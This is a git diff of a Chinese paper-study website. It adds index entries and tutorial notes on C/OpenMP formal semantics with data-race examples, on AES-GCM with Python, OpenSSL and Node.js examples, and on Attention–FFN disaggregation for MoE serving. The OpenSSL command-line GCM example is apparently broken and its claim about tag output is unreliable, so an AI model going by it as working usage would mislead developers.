 | `wide-deep-2016` | [Wide & Deep — 让模型同时学会"记住"和"举一反三"](/study/papers/wide-deep-2016/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `williams-1983-mipmap` | [Williams 1983 mipmap — 提前烤好金字塔，纹理过滤变 O(1)](/study/papers/williams-1983-mipmap/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `wireguard-2017` | [WireGuard: Next Generation Kernel Network Tunnel](/study/papers/wireguard-2017/) | ✅ v3 | 网络协议 | 网络协议 |
+| `wisckey` | [WiscKey — 把 Key 和 Value 拆开，让 SSD 上的 LSM 树少干冤枉活](/study/papers/wisckey/) | ✅ v3 | 数据库 | 存储与查询 |
 | `word2vec` | [Word2Vec — 词向量奠基](/study/papers/word2vec/) | ✅ v3 | NLP | NLP |
 | `world-model-robot-learning-2026` | [机器人世界模型综述 — 预测未来再动手](/study/papers/world-model-robot-learning-2026/) | ✅ v3 | 机器学习 | 机器人与 VLA |
 | `worldsense-2025` | [WorldSense — 真实世界同步音视频理解 benchmark](/study/papers/worldsense-2025/) | ✅ v3 | 机器学习 | 视频理解 |
@@ -2250,6 +2428,7 @@ sidebar:
 | `xlnet-2019` | [XLNet — 把句子打乱顺序读，借此同时拿到 AR 和双向](/study/papers/xlnet-2019/) | ✅ v3 | 机器学习 | 模型与训练 |
 | `xtrace-2007` | [X-Trace — 比 Dapper 早 3 年的跨层跨协议追踪框架](/study/papers/xtrace-2007/) | ✅ v3 | 分布式系统 | 共识与复制 |
 | `yao-garbled-circuits-1986` | [Yao 混淆电路 — 让两人合算函数却互不泄密](/study/papers/yao-garbled-circuits-1986/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
+| `yocto-alternatives` | [You probably don't need Yocto, and that's fine — 嵌入式 Linux 不必默认上 Yocto](/study/papers/yocto-alternatives/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `youtube-two-tower-2019` | [YouTube 双塔召回 — 把 DSSM 搬进推荐并补上两件工业关键](/study/papers/youtube-two-tower-2019/) | ✅ v3 | 信息检索 | 检索与排序 |
 | `z3-2008` | [Z3 2008 — 把 SMT 工程化到工业默认](/study/papers/z3-2008/) | ✅ v3 | 形式化方法 | 形式化验证 |
 | `zab-2011` | [Zab — ZooKeeper 怎么把客户端写入按顺序复制到所有副本](/study/papers/zab-2011/) | ✅ v3 | 数据库 | 存储与查询 |
@@ -2257,4 +2436,5 @@ sidebar:
 | `zfs-2003` | [ZFS — 把磁盘当成水池，每滴水都贴标签](/study/papers/zfs-2003/) | ✅ v3 | 操作系统 | 内核与虚拟化 |
 | `zgc` | [ZGC — 让 GC 停顿与堆大小解耦的低延迟回收器](/study/papers/zgc/) | ✅ v3 | 编程语言 | 编程语言 |
 | `zk-snark` | [zk-SNARK 零知识证明](/study/papers/zk-snark/) | ✅ v3 | 安全与隐私 | 密码学 |
+| `zk-snark-pinocchio-2013` | [Pinocchio 2013 — 首个「近乎实用」的可验证计算与 zk-SNARK 工程系统](/study/papers/zk-snark-pinocchio-2013/) | ✅ v3 | 安全与隐私 | 安全与隐私 |
 | `zombie-agents-2602` | [Zombie Agents — 自进化 agent 的长期记忆能被持久化"借尸还魂"](/study/papers/zombie-agents-2602/) | ✅ v3 | Agent | 智能体与 LLM |
diff --git a/src/content/docs/papers/a-formal-semantics-of-c-with-openmp-parallelism-arxiv-2605-26527.md b/src/content/docs/papers/a-formal-semantics-of-c-with-openmp-parallelism-arxiv-2605-26527.md
new file mode 100644
index 000000000..dd0d6ad7c
--- /dev/null
+++ b/src/content/docs/papers/a-formal-semantics-of-c-with-openmp-parallelism-arxiv-2605-26527.md
@@ -0,0 +1,217 @@
+---
+title: "A Formal Semantics of C with OpenMP Parallelism"
+来源: https://arxiv.org/abs/2605.26527
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# A Formal Semantics of C with OpenMP Parallelism — 学习笔记
+
+## 一、为什么要读这篇论文？
+
+想象你在餐厅厨房做饭。一个人做菜很简单：按菜谱一步一步来，先切菜、再炒、最后装盘——顺序清清楚楚。
+
+现在你雇了五个厨师同时做同一道菜。问题来了：
+
+- 两个厨师同时去拿同一个盐瓶，谁先拿到？
+- 一个厨师把切好的菜放进篮子，另一个厨师还没准备好就端走了——菜是半生不熟的。
+- 一个厨师负责炒菜，另一个负责装盘，但装盘的厨师不知道什么时候炒好，一直在空等。
+
+这就是 **OpenMP 并行化** 带来的核心难题。OpenMP 是程序员用来把「串行代码」变成「并行代码」的工具——你只需要在代码里加几行注释（叫 pragma），编译器就会自动帮你生成多线程程序。
+
+听起来很美好，对吧？但现实中，**90% 以上的 OpenMP bug 都是数据竞争（race condition）**——多个线程同时读写同一个变量，结果取决于谁"跑得快"，而这件事是不可预测的。
+
+这篇论文做的事情就是：**给 C 语言加上 OpenMP 之后，程序的执行规则到底是什么？用数学严格地定义出来。**
+
+> 类比：就像交通规则。开车每个人都知道怎么踩油门，但十字路口红灯停绿灯行——这是一套所有人都遵守的「规则」。这篇论文就是在为 OpenMP 并行程序制定「交通规则」。
+
+## 二、核心概念拆解
+
+### 2.1 形式语义（Formal Semantics）
+
+**形式语义**是用数学语言给编程语言下定义。不是"这段代码大概会做什么"，而是"这段代码在每一种可能的情况下，精确地会产生什么结果"。
+
+类比：你不需要数学家告诉你"苹果从树上掉下来会砸到地面"。但如果你想设计一颗卫星，精确计算它落在哪一秒、哪一米的位置——你就需要牛顿的公式。形式语义就是编程语言的"牛顿公式"。
+
+### 2.2 CompCert 编译器
+
+CompCert 是由法国 INRIA 研究所开发的一个**经过形式化验证的 C 编译器**。它的特点是：**编译器本身不会引入 bug**。也就是说，如果你写的 C 代码是正确的，那么编译出来的机器码也一定是正确的。
+
+这篇论文在 CompCert 的基础上，加了并发扩展，然后再加上 OpenMP 的规则。你可以把它理解成三层蛋糕：
+
+| 层级 | 内容 | 作用 |
+|------|------|------|
+| 底层 | CompCert C 语义 | 定义 C 语言每个语句怎么执行 |
+| 中层 | 并发扩展 | 允许多个线程同时运行 |
+| 顶层 | OpenMP 指令 | 告诉哪些地方该并行、怎么同步 |
+
+### 2.3 数据竞争（Data Race）
+
+数据竞争是最常见的并行 bug。简单说就是：**两个线程同时访问同一个内存位置，其中至少一个是写操作，而且它们之间没有同步机制。**
+
+类比：两个人同时在一本账本上写字。A 要写"收入 100 元"，B 要写"支出 50 元"。如果两人同时动笔，最后账本上的数字可能是错的——因为 B 看到的可能还是 A 写完之前的旧值。
+
+### 2.4 OpenMP 的关键指令
+
+OpenMP 用 `#pragma` 注释告诉编译器哪里可以并行：
+
+```c
+#pragma omp parallel num_threads(4)
+{
+    // 这段代码会被 4 个线程同时执行
+}
+```
+
+最常用的指令：
+
+- `parallel`：创建一组线程来并行执行
+- `for`：把循环拆给多个线程（循环并行化）
+- `critical`：保证某段代码同一时间只有一个线程在执行（互斥）
+- `atomic`：保证某个变量的读写是原子的（不可分割）
+- `barrier`：所有线程到这里停下来，等所有人都到了再继续
+
+## 三、代码示例
+
+### 示例 1：有数据竞争的代码
+
+下面这段代码想计算 1 到 10000 的和，用了 OpenMP 并行化：
+
+```c
+#include <stdio.h>
+#include <omp.h>
+
+int main() {
+    int sum = 0;
+
+    #pragma omp parallel for
+    for (int i = 1; i <= 10000; i++) {
+        sum += i;  // 多个线程同时修改 sum！
+    }
+
+    printf("sum = %d\n", sum);
+    return 0;
+}
+```
+
+**问题在哪？** `sum += i` 实际上分三步：读取 sum 的值 → 加上 i → 写回 sum。如果有四个线程同时执行这一行，它们可能读到的是同一个旧值，然后各自加上自己的 i，最后只写入了一个结果。其他三个线程的计算就**丢失**了。
+
+这就像四个人同时往一个存钱罐里放钱，但每人放进去之前都只看一眼"原来有多少"，而不是看别人刚放进去之后的金额。
+
+### 示例 2：修复后的正确代码
+
+用 `critical` 指令修复：
+
+```c
+#include <stdio.h>
+#include <omp.h>
+
+int main() {
+    int sum = 0;
+
+    #pragma omp parallel for
+    for (int i = 1; i <= 10000; i++) {
+        #pragma omp critical
+        {
+            sum += i;  // 同一时间只有一个线程能执行这里
+        }
+    }
+
+    printf("sum = %d\n", sum);
+    return 0;
+}
+```
+
+`#pragma omp critical` 就像一个**独木桥**：所有线程都要过这座桥去修改 sum，但桥一次只能通过一个人。其他人必须在桥头排队等着。这样就保证了不会丢数据。
+
+更好的做法是用 `reduction` 子句：
+
+```c
+#pragma omp parallel for reduction(+:sum)
+for (int i = 1; i <= 10000; i++) {
+    sum += i;  // 每个线程有自己的局部 sum，最后自动合并
+}
+```
+
+`reduction(+:sum)` 的意思是：给每个线程发一个私有的 `sum` 副本，各算各的，最后把所有副本加起来。这样就不需要排队了，效率更高。
+
+### 示例 3：论文中涉及的微妙交互
+
+这篇论文特别关注的是**指令与变量状态之间的微妙交互**。举个例子：
+
+```c
+int x = 0;
+
+#pragma omp parallel
+{
+    #pragma omp master
+    {
+        x = 1;  // 只有主线程执行
+    }
+
+    #pragma omp barrier  // 所有线程在这里等
+
+    // 此时 x 一定是 1 吗？
+    printf("x = %d\n", x);
+}
+```
+
+直觉上，`x` 应该是 1。但论文指出：**在没有形式语义严格定义的情况下，不同编译器对这种"屏障之后的可见性"可能有不同的理解**。有些编译器可能认为：屏障之后主线程写的 `x` 对其他线程一定可见；有些则可能不保证。
+
+这就是这篇论文的核心贡献之一——用形式语义把这类"看起来显然但实际上有歧义"的情况**精确地规定下来**。
+
+## 四、论文的主要贡献
+
+### 4.1 一套完整的 C + OpenMP 形式语义
+
+作者基于 CompCert 的 C 语义和其并发扩展，构建了一套全新的形式语义。这套语义能够描述：
+
+- 线程如何创建和销毁
+- `parallel`、`for`、`critical`、`barrier` 等指令的精确执行规则
+- 变量在不同线程间的可见性规则
+- 数据竞争的检测条件
+
+### 4.2 揭示了之前语义忽略的微妙问题
+
+以前的 OpenMP 语义定义（比如操作语义或指称语义）往往把指令和变量状态分开处理，导致某些交互行为被模糊掉了。这篇论文的形式语义把它们统一在一个框架里，暴露出了以前看不到的边缘情况。
+
+### 4.3 无数据竞争的保证
+
+论文证明了一个重要性质：**任何成功执行完毕的程序都不会包含数据竞争**。换句话说，如果你的程序按照这套语义跑完了，那它一定没有 race condition。这是一个很强的安全保证。
+
+类比：就像工厂质检——不是"抽检"，而是"每一件都保证合格"。
+
+## 五、为什么这对学习者很重要？
+
+### 5.1 理解并行的本质
+
+很多初学者学并行编程时，觉得"加了个 `#pragma` 就能变快"。这篇论文告诉你：**并行不是魔法，它有一套严格的规则**。理解这些规则，你才能写出正确的并行程序。
+
+### 5.2 形式思维的训练
+
+形式语义训练的是**精确思维**——不只是"这段代码应该能跑"，而是"在每一种可能的执行路径下，它的行为是什么"。这种思维方式对所有程序员都有价值。
+
+### 5.3 连接理论和实践
+
+CompCert 是一个真实存在的编译器，已经被用于航空航天等安全关键领域。这篇论文的工作可以直接集成到 CompCert 中，意味着**理论研究可以落地到实际工程中**。
+
+## 六、关键术语表
+
+| 术语 | 英文 | 一句话解释 |
+|------|------|-----------|
+| 形式语义 | Formal Semantics | 用数学精确描述编程语言的含义 |
+| 数据竞争 | Data Race | 多个线程同时读写同一变量且未同步 |
+| 原子操作 | Atomic Operation | 不可被中断的单步操作 |
+| 互斥 | Mutual Exclusion | 同一时间只有一个线程进入临界区 |
+| 屏障同步 | Barrier Synchronization | 所有线程到达屏障后一起继续执行 |
+| 归约 | Reduction | 每个线程局部计算，最后合并结果 |
+| 编译验证 | Verified Compilation | 编译器本身经过数学证明不会出错 |
+
+## 七、思考题（读完想一想）
+
+1. 上面示例 3 中，如果把 `barrier` 去掉，`x` 的值还会是 1 吗？为什么？
+2. `reduction` 子句为什么比 `critical` 更高效？它在内存模型层面做了什么？
+3. 如果你要给 Python 或 Java 写一套类似的 OpenMP 形式语义，最大的挑战会是什么？
+
+> 这些问题没有标准答案，但思考的过程会让你对并行编程的理解深一层。等你有了自己的想法，可以随时回来对照论文的后续章节。
diff --git a/src/content/docs/papers/abadi-dpsgd-2016.md b/src/content/docs/papers/abadi-dpsgd-2016.md
index 49a5b4bf6..2449ce4d9 100644
--- a/src/content/docs/papers/abadi-dpsgd-2016.md
+++ b/src/content/docs/papers/abadi-dpsgd-2016.md
@@ -152,6 +152,7 @@ for x, y in loader:
 - [[cheon-ckks-2017]] —— Homomorphic Encryption for Arithmetic of Approximate Numbers
 - [[duchi-local-dp-2013]] —— Local Privacy and Statistical Minimax Rates
 - [[dwork-calibrating-noise-2006]] —— 校准噪声与敏感度 — Laplace 机制奠基
+- [[dwork-differential-privacy-2006]] —— 校准噪声与敏感度 — 差分隐私的 Laplace 机制
 - [[dwork-dp-icalp-2006]] —— 差分隐私 — ε 与邻接数据集不可区分
 - [[dwork-our-data-ourselves-2006]] —— 分布式噪声生成 — 去掉可信管理员也能保护隐私
 - [[erlingsson-rappor-2014]] —— RAPPOR — 本地差分隐私随机响应采集
diff --git a/src/content/docs/papers/adam-2014.md b/src/content/docs/papers/adam-2014.md
index 1521d25b5..185cea1e8 100644
--- a/src/content/docs/papers/adam-2014.md
+++ b/src/content/docs/papers/adam-2014.md
@@ -2,7 +2,7 @@
 title: Adam — 让深度学习自己挑步长的优化器
 来源: 'Kingma & Ba, "Adam: A Method for Stochastic Optimization", ICLR 2015 (arXiv 2014.12)'
 日期: 2026-06-01
-子分类: 模型与训练
+子分类: ml
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/papers/aes-gcm-2003.md b/src/content/docs/papers/aes-gcm-2003.md
new file mode 100644
index 000000000..c94d55620
--- /dev/null
+++ b/src/content/docs/papers/aes-gcm-2003.md
@@ -0,0 +1,247 @@
+---
+title: AES-GCM — 一次加密，同时保证机密性与完整性
+来源: https://csrc.nist.gov/csrc/media/projects/block-cipher-techniques/documents/bcm/proposed-modes/gcm/gcm-spec.pdf
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Galois/Counter Mode（GCM）** 是一种**认证加密（Authenticated Encryption with Associated Data, AEAD）** 工作模式：对底层 128 位分组密码（几乎总是 AES）跑一遍，就能同时得到**密文**（别人看不懂）和**认证标签 Tag**（别人改不了）。规范由 David McGrew 与 John Viega 在 2004 年前后提出，NIST 在 **SP 800-38D**（2007）中标准化；你给的 PDF 链接正是提交 NIST 前的原始提案稿。
+
+日常类比：
+
+> 你要寄一份**密封合同**给律师。  
+> - **Counter 模式加密** = 把正文放进带一次性密码锁的保险箱，每页用不同密钥加密，外人打开只能看到乱码。  
+> - **GHASH 认证** = 在信封外再贴一张**防伪封条**：封条上的校验码由「正文密文 + 信封上写的备注（AAD）」一起算出来。收件人拆信时先验封条——封条不对，整封信直接扔掉，**连解密都懒得做**。  
+> 两样事在一次算法调用里完成，这就是 GCM 比「先 AES-CBC 加密再 HMAC」省事的地方。
+
+GCM 的姊妹模式 **GMAC** 只做认证、不加密明文，相当于「只有封条、没有保险箱」。
+
+## 为什么重要
+
+不理解 GCM，现代安全协议里大量默认选项都会变成黑盒：
+
+- **TLS 1.3** 只保留 AEAD 套件，`TLS_AES_128_GCM_SHA256` 是事实上的默认之一（见 [[tls-1-3-rfc8446]]）
+- **Signal / WhatsApp** 消息体用 AES-256-GCM 或 ChaCha20-Poly1305（见 [[signal-double-ratchet-2016]]）
+- **IPsec ESP、IEEE 802.1AE、Noise 框架** 都把 GCM 列为标准或常用密码
+- **磁盘加密、对象存储客户端加密** 常用 AES-GCM 封装数据密钥
+- 与纯加密（如 AES-CTR）相比，GCM 能检测**主动篡改**；与「加密 + 独立 MAC」相比，GCM **可并行、可流水线**，硬件实现友好
+
+## 核心概念
+
+### 1. AEAD 的四个输入、两个输出
+
+一次 GCM **认证加密**接受：
+
+| 输入 | 符号 | 含义 |
+|------|------|------|
+| 密钥 | `K` | 128/192/256 位 AES 密钥 |
+| 初始化向量 | `IV`（常叫 **nonce**） | 每次调用必须唯一，推荐 **96 位（12 字节）** |
+| 明文 | `P` | 要保密的数据 |
+| 关联数据 | `A`（AAD） | **不加密**但参与认证——例如 TLS 记录头、JSON 元数据 |
+
+输出：
+
+| 输出 | 含义 |
+|------|------|
+| 密文 | `C`，与 `P` 等长 |
+| 认证标签 | `T`，通常 **128 位（16 字节）**，可截短但不建议低于 96 位 |
+
+**认证解密**输入 `K, IV, C, A, T`：先验 Tag，失败则**必须**拒绝明文，不能返回「部分解密结果」。
+
+### 2. 加密半边：Counter 模式（CTR）
+
+GCM 的机密性来自 **AES-CTR** 的变体：
+
+1. 由 `IV` 构造初始计数器块 `Y₀`（96 位 IV 时：`Y₀ = IV || 0³¹ || 1`）
+2. 对第 `i` 块明文 `Pᵢ`，计数器 `Yᵢ = inc₃₂(Yᵢ₋₁)`（只递增**低 32 位**）
+3. `Cᵢ = Pᵢ ⊕ E(K, Yᵢ)`，`E` 为 AES 单块加密
+
+CTR 的好处：**各块独立**，加密与解密同一套逻辑，GPU/ASIC 可深度流水线——这也是 GCM 在高吞吐场景胜过的根本原因之一。
+
+### 3. 认证半边：GHASH 与伽罗瓦域 GF(2¹²⁸)
+
+认证标签来自 **GHASH**——在二元伽罗瓦域 **GF(2¹²⁸)** 上的多项式求值：
+
+1. 计算 **哈希子密钥** `H = E(K, 0¹²⁸)`（用 AES 加密全零块）
+2. 把 AAD、密文按规范**填充并串联**，再附加各自**比特长度**（128 位编码）
+3. 对串联结果做 GHASH：本质是一串 **「乘 H + 异或」** 的 Horner 式累加，乘法在 GF(2¹²⁸) 里做
+4. 最终 `T = GHASH(...) ⊕ E(K, Y₀)`（与 CTR 初始块再混合一次）
+
+直觉：GHASH 是**通用哈希（universal hash）** 的实例——在密钥 `H` 保密的前提下，攻击者几乎不可能为另一份 `(A', C')` 凑出相同标签。GF(2¹²⁸) 上的乘法可用 **PCLMULQDQ**（x86）、**PMULL**（ARM）单条指令加速，所以 GCM 在 CPU 上也能很快。
+
+### 4. GMAC：只认证、不加密
+
+若 `P` 为空、只想要 MAC，GCM 退化为 **GMAC**。用途：认证公开信道上的元数据，或作为更大协议里的消息认证码原语。
+
+### 5. IV / Nonce：唯一性是绝对红线
+
+| 规则 | 说明 |
+|------|------|
+| **同一 `K` 下 IV 绝不能重复** | 重复 nonce 会破坏 CTR 的机密性（两段明文 XOR 可泄露）**并**削弱 GHASH 认证强度 |
+| 推荐 12 字节随机 IV | 随机 96 位 IV，在密钥生命周期内碰撞概率可忽略（规范上限：单密钥下加密数据量约 **2³² − 2** 个块，即约 64 GB 量级量级需注意） |
+| 计数器 IV | 设备本地单调递增也可，但**绝不能**重启后从 0 复用同一密钥 |
+| 勿用短随机 + 密钥复用 | 「8 字节随机」在大量连接时碰撞风险需自己建模 |
+
+规范与 RFC 5116 都强调：**nonce 重用对 GCM 是灾难性的**，不是「稍微变弱」而是可能完全崩溃。
+
+### 6. AAD：不加密但要验
+
+AAD 典型用法：
+
+- TLS：**序列号、版本、内容类型** 不进密文但进 MAC
+- 存储：**对象元数据、版本号** 明文存放，篡改会被 Tag 拒绝
+- API：**JWT header** 若走 AEAD，常把 alg/kid 放 AAD
+
+攻击者能看见 AAD，但改一个字节 Tag 就对不上。
+
+## 数据流（一图胜千言）
+
+```text
+                    ┌─────────────────────────────────────┐
+  K ───────────────►│ AES                                 │
+                    │  E(K,0) → H (GHASH 子密钥)          │
+                    │  E(K,Yᵢ) → keystream (CTR 加密)     │
+                    └─────────────────────────────────────┘
+                              │
+     IV ──► Y₀ ──► inc₃₂ ──► Y₁, Y₂, …
+                              │
+     P ──► P₁,P₂,… ──XOR──► C₁,C₂,… ═══ C (密文)
+                              │
+     A, C (填充+长度) ──► GHASH_H ──► XOR E(K,Y₀) ──► T (Tag)
+```
+
+解密路径：**先**用同样步骤重算 Tag，与收到的 `T` 做**常量时间比较**；相等再 XOR 解密出 `P`。
+
+## 代码示例
+
+### 示例 1：Python `cryptography` — 加密、篡改检测、AAD
+
+```python
+from cryptography.hazmat.primitives.ciphers.aead import AESGCM
+import os
+
+key = AESGCM.generate_key(bit_length=128)  # 16 字节
+aesgcm = AESGCM(key)
+nonce = os.urandom(12)   # GCM 推荐 96 位 IV
+
+plaintext = b"contract clause 7.3: payment due Friday"
+aad = b'{"doc_id":"2026-0412","version":3}'  # 明文元数据，但受认证保护
+
+# 认证加密：返回 密文 || 16字节Tag（库内部分离存储）
+ct = aesgcm.encrypt(nonce, plaintext, aad)
+
+# 正常解密
+pt = aesgcm.decrypt(nonce, ct, aad)
+assert pt == plaintext
+
+# 模拟攻击：篡改密文最后一个字节
+tampered = bytearray(ct)
+tampered[-1] ^= 0x01
+try:
+    aesgcm.decrypt(nonce, bytes(tampered), aad)
+except Exception as e:
+    print("拒绝篡改:", type(e).__name__)  # InvalidTag
+```
+
+要点：`encrypt` / `decrypt` 的 `associated_data` 在两端必须**完全一致**；`decrypt` 验 Tag 失败应抛异常，**不要**吞掉异常后返回垃圾明文。
+
+### 示例 2：OpenSSL 命令行 — 与 NIST 测试向量同一套语义
+
+```bash
+# 128 位密钥、12 字节 IV、16 字节 Tag（OpenSSL 默认 tag 长度）
+KEY=00000000000000000000000000000000
+IV=000000000000000000000000
+PT=6b6174206d61747573696b61   # "kat matu sika" 的十六进制示例
+
+# 加密（-aes-128-gcm；输出含 tag，需自行记录或从 -tag 取）
+echo -n "$PT" | xxd -r -p | openssl enc -aes-128-gcm -K "$KEY" -iv "$IV" -nosalt 2>/dev/null | xxd -p
+
+# 生产环境请用库 API 并校验返回值；CLI 适合对照 NIST SP 800-38D 附录测试向量
+```
+
+对照 NIST 官方 walkthrough 见 [AES-GCM Examples (NIST)](https://csrc.nist.gov/csrc/media/projects/cryptographic-standards-and-guidelines/documents/examples/aes_gcm.pdf)。
+
+### 示例 3：Node.js `crypto` — TLS 风格 record
+
+```javascript
+import { randomBytes, createCipheriv, createDecipheriv } from 'node:crypto';
+
+const key = randomBytes(32);   // AES-256-GCM
+const iv = randomBytes(12);
+const aad = Buffer.from('TLSInnerPlaintext-type-23');
+
+const cipher = createCipheriv('aes-256-gcm', key, iv);
+cipher.setAAD(aad);
+const enc = Buffer.concat([cipher.update('hello'), cipher.final()]);
+const tag = cipher.getAuthTag();  // 默认 16 字节
+
+const decipher = createDecipheriv('aes-256-gcm', key, iv);
+decipher.setAAD(aad);
+decipher.setAuthTag(tag);
+const dec = Buffer.concat([decipher.update(enc), decipher.final()]);
+console.log(dec.toString());  // hello
+```
+
+## 与相关模式的对比
+
+| 模式 | 机密性 | 完整性 | 并行加密 | 典型场景 |
+|------|--------|--------|----------|----------|
+| AES-CBC + HMAC | ✓ | ✓（若 MAC-then-encrypt 顺序正确） | 差（链式） | 老 TLS、遗留系统 |
+| AES-CTR only | ✓ | ✗ | 好 | 仅防偷看、信道已受物理保护 |
+| **AES-GCM** | ✓ | ✓ | **好** | TLS 1.3、VPN、磁盘、消息协议 |
+| ChaCha20-Poly1305 | ✓ | ✓ | 好（无 AES-NI 时更快） | 移动端 TLS、Signal |
+| AES-GCM-SIV | ✓ | ✓ | 中 | **nonce 误用抗性** 要求高的存储 |
+
+GCM 不是唯一正确的 AEAD，但在有 **AES 硬件加速** 的服务器侧，它往往是默认最优解。
+
+## 实现与使用清单
+
+1. **IV 唯一**：随机 12 字节或严格单调计数器；密钥轮换策略与 IV 空间一起设计。
+2. **Tag 长度**：默认 128 位；若带宽极紧，规范允许缩短，但 forgery 概率按 $2^{-t}$ 上升。
+3. **常量时间比较 Tag**：防计时侧信道（高质量库已处理）。
+4. **不要把密钥当 IV**：常见反模式 `IV = key[:12]` 会毁掉语义。
+5. **单密钥数据量上限**：留意 SP 800-38D 对块数、AAD 长度的限制；超大流应分段或换密钥。
+6. **优先用库，别手写 GHASH**：GF 乘法与端序极易写错；OpenSSL、`cryptography`、libsodium（ChaCha 系）、BoringSSL 均成熟。
+
+## 安全边界（读规范时要记住的定理直觉）
+
+SP 800-38D 与 McGrew 原始论文给出两类保证（简化表述）：
+
+- **IND-CPA（机密性）**：在 **nonce 不重复** 的前提下，密文与随机串不可区分。
+- **INT-CTXT（完整性）**：在同样前提下，攻击者无法伪造通过验证的 `(C, A, T)`。
+
+**一旦 nonce 重用**，证明前提崩塌——可能通过 XOR 两个密文恢复明文关系，并构造伪造标签。这不是实现 bug，是**模式本身的数学限制**。
+
+## 历史与规范线索
+
+| 时间 | 事件 |
+|------|------|
+| 2004 | McGrew & Viega 提出 GCM，强调无专利、可并行 |
+| 2005 | 提交 NIST Modes of Operation 进程（你链接的 PDF） |
+| 2007 | **NIST SP 800-38D** 正式发布，含 GMAC |
+| 2008+ | TLS、IPsec、802.1AE、RFC 5116 AEAD 套件广泛采用 |
+| 2024 | NIST 公告将修订 SP 800-38D（跟踪 [CSRC 页面](https://csrc.nist.gov/pubs/sp/800/38/d/final)） |
+
+设计目标很明确：**在 CTR 的速度上，补上工业级消息认证**，而且适合 ASIC / 多核 CPU 并行。
+
+## 与本仓库其他条目的关系
+
+- [[tls-1-3-rfc8446]] —— GCM 最大的公开部署面之一
+- [[signal-double-ratchet-2016]] —— 消息层可选用 AES-GCM 作为 AEAD
+- [[noise-protocol-framework]] —— `AESGCM` 是 Noise 命名密码之一
+- [[rsa]] —— 混合加密里 RSA/Kyber 只保护短密钥， bulk 数据仍走 AES-GCM
+- [[regev-lwe-2005]] —— 后量子 KEM + 经典 AES-GCM 是常见组合
+
+## 小结
+
+GCM = **CTR 加密** + **GF(2¹²⁸) 上的 GHASH 认证**，一次调用产出密文与 Tag。记住三句话就够上手：
+
+1. **它是 AEAD**：明文保密，密文和 AAD 防篡改。  
+2. **IV 必须每次唯一**：重用 nonce 比用弱密码更致命。  
+3. **验 Tag 失败就丢**：不要「先解密试试」。
+
+从零实现一遍读密文很容易；工程上应用 **成熟库 + 随机 12 字节 IV + 完整 Tag**，并对照 NIST 测试向量做一次自测，就足以覆盖绝大多数应用场景。
diff --git a/src/content/docs/papers/afd-disagg-moe.md b/src/content/docs/papers/afd-disagg-moe.md
new file mode 100644
index 000000000..d1cdceb06
--- /dev/null
+++ b/src/content/docs/papers/afd-disagg-moe.md
@@ -0,0 +1,322 @@
+---
+title: AFD 设计空间探索 — MoE LLM 推理中的 Attention–FFN 解耦
+来源: https://arxiv.org/abs/2605.28302
+日期: 2026-06-13
+子分类: 共识与复制
+分类: 分布式系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：快餐店的「前台」与「后厨」
+
+想象一家连锁快餐店要同时服务三类顾客：
+
+- **聊天顾客**：点单短、吃得快（短输入、短输出）。
+- **写代码顾客**：点单长、要慢慢吃（长输入、中等输出）。
+- **Agent 程序员**：带着一整本项目手册来点单（超长 prefix / KV，再续写很长）。
+
+店里有两类工种，**天然不适合绑在同一张工位上**：
+
+| 工种 | 像什么 | 瓶颈 |
+|------|--------|------|
+| **Attention（注意力）** | 前台收银 + 翻历史订单 | 要反复读「已点过的所有菜」（KV cache），**吃内存带宽** |
+| **MoE FFN（专家前馈）** | 后厨多个 specialist 档口 | 大矩阵乘、专家路由，**吃算力**；还要在档口间**传菜**（dispatch/combine） |
+
+最早大家把整家店当成一个单元排班（**聚合部署**）。后来有人把「高峰点单」和「慢慢出餐」分开（**Prefill–Decode 解耦，P/D**）。这篇论文问的是：**还能不能再拆一层？** 把前台和后厨放到**不同的 GPU 集群**上——这就是 **Attention–FFN Disaggregation（AFD）**。
+
+论文 **《How Far Can Disaggregation Go? A Design-Space Exploration of Attention–FFN Disaggregation for Efficient MoE LLM Serving》**（arXiv:[2605.28302](https://arxiv.org/abs/2605.28302)，Georgia Tech / Intel / Google 等，2026）用 **AIC++** 框架系统回答：**解耦能走多远？什么时候值得拆？Attention 和 FFN 各用多少张卡？**
+
+一句话：**不是越拆越好——AFD 用更多 GPU 换更低延迟；在严格 SLO 下，它能让原本「根本跑不起来」的长上下文 MoE 服务变得可行。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 类型 | 系统设计 + 设计空间探索（DSE）论文 |
+| 核心问题 | Chunked prefill、P/D、AFD 三层解耦，何时划算？ |
+| 框架 | **AIC++** = AIConfigurator（算子级 GPU 建模）+ AstraSim（网络仿真） |
+| 原型 | 基于 vLLM 的 AFD 实现（M×N 二分图 P2P 通信） |
+| 评测硬件 | 128× NVIDIA B200，TensorRT-LLM 后端 |
+| 评测模型 | DeepSeek-V3.2、GPT-OSS-120B、Qwen3-235B、Nemotron3-120B |
+| 关键数字 | 严格 TTFT/TPOT SLO 下，AFD 在 DeepSeek-V3.2 上可达约 **4k tokens/s** 系统吞吐；非 AFD 布局**不可行** |
+
+论文不是发明 MoE 或 Attention，而是给集群架构师一张**「什么时候拆、拆多少」的地图**。
+
+---
+
+## 为什么重要
+
+### 1. MoE 推理的异质性被「一整块 GPU」掩盖了
+
+在一个 Transformer 块里：
+
+- **Attention**：随上下文变长，KV cache 膨胀 → **memory-bound**（MHA / GQA / MLA / 稀疏注意力表现不同）。
+- **MoE FFN**：Top-K 路由 + 大 GEMM → **compute-bound**，还要 **dispatch（A2F）** 和 **combine（F2A）** 通信。
+
+把两者绑在同一组 GPU 上，必然有一方在等另一方——MegaScale-Infer 等先前工作已指出问题；本文进一步问：**和 TP/DP/EP、P/D 叠在一起时，AFD 的边界在哪？**
+
+### 2. Agent 工作负载把「长 prefix + 严格延迟」推到极致
+
+论文用三类代表负载（Table 1）：
+
+| 场景 | Prefix | 输入 ISL | 输出 OSL |
+|------|--------|----------|----------|
+| Chat | 4k | 512 | 256 |
+| Coding | 2k | 4k | 1k |
+| Agentic Coding | **524k** | 256 | 8k |
+
